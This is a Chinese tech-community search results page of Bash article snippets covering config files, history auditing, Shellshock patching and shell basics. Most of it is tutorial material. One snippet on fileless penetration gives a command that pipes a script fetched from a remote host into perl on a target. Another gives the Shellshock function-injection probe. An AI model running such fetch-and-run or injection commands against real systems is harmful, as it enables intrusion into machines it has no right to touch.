首页
学习
活动
专区
工具
TVP
发布
精选内容/技术社群/优惠产品,尽在小程序
立即前往
  • 您找到你想要的搜索结果了吗?
    是的
    没有找到

    Bash 读写文件 | Linux 中国

    安装 Bash 如果你在使用 Linux,你可能已经有了 Bash。如果没有,你可以在你的软件仓库里找到它。...在 Windows 上,有几种方法可以体验 Bash,包括微软官方支持的 Windows Subsystem for Linux(WSL)。 安装 Bash 后,打开你最喜欢的文本编辑器并准备开始。...在 Bash 中援引文件 当你在 Bash 中 “ 援引(source)” 一个文件时,你会让 Bash 读取文件的内容,期望它包含有效的数据,Bash 可以将这些数据放入它建立的数据模型中。...你不会想要从旧文件中援引数据,但你可以使用这种方法来读取配置文件和函数。 (LCTT 译注:在 Bash 中,可以通过 source 或 ..../example.sh: line 3: greet: command not found The meaning of life is Bash 没有一个叫 greet 的命令,所以无法执行那一行,也没有一个叫

    3.6K20

    Linux 审计Bash执行命令 存储归档

    1.History命令说明 history命令用于显示指定数目的指令命令,读取历史命令文件中的目录到历史命令缓冲区和将历史命令缓冲区中的目录写入命令文件。...BASH 将关闭 终端会话时所运行的所有命令,并写入你的历史记录文件。...如果想禁用history, 可以设置HISTSIZE=0 3.3 使用 HISTFILE 更改保存历史记录文件 可以在.bash_profile里配置 HISTFILE=..../USER-UID.log 3.4 实时追加history,不必等用户退出才将内存中的history记录到文件 可以在.bash_profile里配置 PROMPT_COMMAND=”history -...a” 3.5 使用 HISTCONTROL 强制 history 不记住特定的命令 可以在.bash_profile里配置 HISTCONTROL=ignorespace 然后执行具体命令(如ls)的时候面输入一个空格

    7K10

    Linux系统安全 | Linux中.bash_文件讲解

    如想查询某个用户在系统上执行了什么命令,可以使用 root 用户身份登录系统,检查Home目录下的用户主目录下的“.bash_history”文件,该文件记录了用户所使用的命令和历史信息。...我们这次登录执行的命令并不会立即写入/~/.bash_history文件中,而是存在缓存中。只有我们注销后,该缓存中的命令才会写入 /~/.bash_history 文件中。....bash_profile 此文件为系统的每个用户设置环境信息,当用户第一次登录时,该文件执行。并从 /etc/profile.d 目录的配置文件中搜集shell的设置。...我们也可以往该文件中增加新内容,环境变量啥的 .bashre 此文件为每一个运行bash shell的用户执行文件。当bash shell被打开时,该文件被读取。...登陆linux启动bash时首先会去读取~/.bash_profile文件,这样~/.bashrc也就得到执行了,你的个性化设置也就生效了。

    1.6K20

    升级linux bash

    bash环境变量存在任意代码执行漏洞:“通过CGI请求方式可以导致远程代码执行,进而导致服务器被入侵,危害严重,且官方公布补丁也被绕过”, 【漏洞影响】: 1)bash受影响版本:3.0 ~ 4.3,小于...bash, version 4.1.2(1)-release (x86_64-redhat-linux-gnu) Copyright (C) 2009 Free Software Foundation,...There is NO WARRANTY, to the extent permitted by law. 3)Linux Bash严重漏洞修复紧急通知(2014年9月25日更新) 日前Linux官方内置...Bash中新发现一个非常严重安全漏洞,黑客可以利用该Bash漏洞完全控制目标系统并发起攻击,为了避免您Linux服务器受影响,建议您尽快完成漏洞修补,修复方法如下: 漏洞检测方法 可以使用如下命令来检查系统存在此漏洞...: env x='() { :;}; echo vulnerable' bash -c "echo this is a test" 如果在一个含有版本号小于bash 4.3的linux或者unix系统上执行以上命令

    5.5K90

    Linux文件与目录管理、Bash Shell基本使用

    1:Linux特点及哲学思想 ①一切皆文件* ②由众多目的的单一应用程序组成:一个程序只做一件事,且做好 ③组合目的的单一的小程序完成复杂的任务 ④尽量避免跟用户交互* ⑤使用文本文件保存配置信息...shell (CLI) sh dash ksh bash rbash … 当前shell echo “$SHELL” 3:Shell提示符 程序:指令+数据 指令+库+配置文件+帮助文档 管理员:...(红色)、破损文件(红色)、可执行文件(绿色) 目录文件:路径映射d 通常情况下以蓝色显示 链接文件(符号链接):软连接l 相当于windows快捷方式,通常情况下青色显示 设备文件:字符设备:c...执行上一次操作 !加命令开头关键字执行之前的那条命令(也可以接数字,例如!...100) TAB:命令和参数关键字补全 (有时候按两下) 前提条件,输入关键字要唯一 bash shell通配符 文件名通配 通配符: *:匹配任意长度的任意字符 ?

    1.3K10

    Linux文件渗透执行ELF

    02 技术核心 这里向大家介绍一个linux系统的底层调用函数memfd_create(2),它在内核3.17中引入,会创建一个匿名文件并返回一个文件描述符指向它,该文件表现和常规文件类同, 可以进行修改...memfd_create()调用时需要传入两个参数,一个是文件名,一个是MFD_CLOEXEC标志(类似于O_CLOEXEC),以便当我们执行ELF二进制文件时,我们得到的文件描述符将被自动关闭。...这里还有一个问题,如何将elf二进制文件写入到创建的文件当中,@MagisterQuis这里使用open函数将$FH内容添加进创建的匿名文件$fd当中,而$FH通过perl转化自要执行的elf文件,这就是该脚本的第二部分...第三部分就是执行文件了,调用exec函数执行该匿名文件 ? 这里我们最后的EXP就生产好了,我们可以目标机上执行 curl 192.168.1.138/elfload.pl | perl ? ?...可以看到我们的elf文件最终以匿名文件的方式在内存中被加载执行了,从匿名文件运行的程序与运行于普通文件的程序之间唯一真正的区别是/proc/pid/exe符号链接。

    5.5K80

    文件_bash笔记3

    UNIX系统把一切都看作文件,甚至命令终端也是和一个设备文件关联在一起的,可以通过向该文件写入来实现向终端写入信息,例如: # 输出到当前终端 echo hoho > /dev/tty# bash环境,...4种:-rwx,分别表示无/读/写/执行 P.S.如果文件权限是----------的话,表示除root外的所有用户都没有权限处理该文件,无法读写执行 另外有3种特殊权限,会出现在x的位置: setuid...:允许用户以owner权限来执行文件,比如-rws------ setgid:允许用户以owner所在组权限来执行文件,比如----rws--- sticky bit:粘滞位,只有创建该目录的用户才有权限删除下面的文件...chmod u+x test.sh # 添加所有执行权限 chmod a+x test.sh # 删除user权限 chmod u-x test.sh 也可以用数值来设置权限: # 等价于u=rwx...,-N从栈底开始数 P.S.注意og my zsh某个版本+-方向是反的,bash正常 wc 统计行数、单词数、字符数,常用于简单的代码统计: # 输出行数、单词数、字符数 wc test.sh # 取行数

    54820

    Linux-Bash指令

    查询指令 type [-tpa] name:查询指令是否为Bash内建指令: 没有参数的话,显示name是外部命令还是内建命令 -t:以如下方式显示命令含义: file:外部命令 alias:命令别名...builtin:内建指令 -p:如果name为外部指令,才会显示完整的文件名 -a:会由PATH变量定义的路径中,将所有name的指令都列出来,包含alias 2....指令编辑 指令跳脱【\】:不把下一个字符当做指令执行 :补充指令,或者显示可执行的指令(按两下) 组合键 功能 + u 向前删除指令串 + k 向后删除指令串 <ctrl...指令搜寻顺序 在bash shell中输入一个指令并执行后,指令运作的顺序如下: 以相对/绝对指令执行指令,例如/bash/ls,..../ls 由alias找到该指令来执行bash内建的(builtin)指令来执行 通过$PATH变量的顺序搜索到的第一个指令来执行

    3.3K10

    Linux-Bash配置

    Linux7 (Core) Kernel 3.10.0-693.5.2.el7.x86_64 on an x86_64 issue文件内可以设置的参数有: 代码 含义 \d 本地端时间的日期 \l 显示第几个终端机接口...2.bash中的环境配置文件 2.1 login shell和non-login shell login shell:取得bash需要完整的登录流程。...在login shell中,登陆后读取两个配置文件: /etc/profile:系统全局配置文件 ~/.bash_profile 或 ~/.bash_login 或 ~/.profile:使用者个人配置文件...2.3 ~/.bash_profile bash读取/etc/profile并执行之后,会读取用户个人配置文件,按照如下顺序查找,并读取找到的第一个: ~/.bash_profile ~/.bash_login...page路径 ~/.bash_history 上次登录的历史指令 ~/.bash_logout 注销bash后,系统执行的任务 3 terminal环境设定 3.1 stty stty(setting

    5.5K10
    领券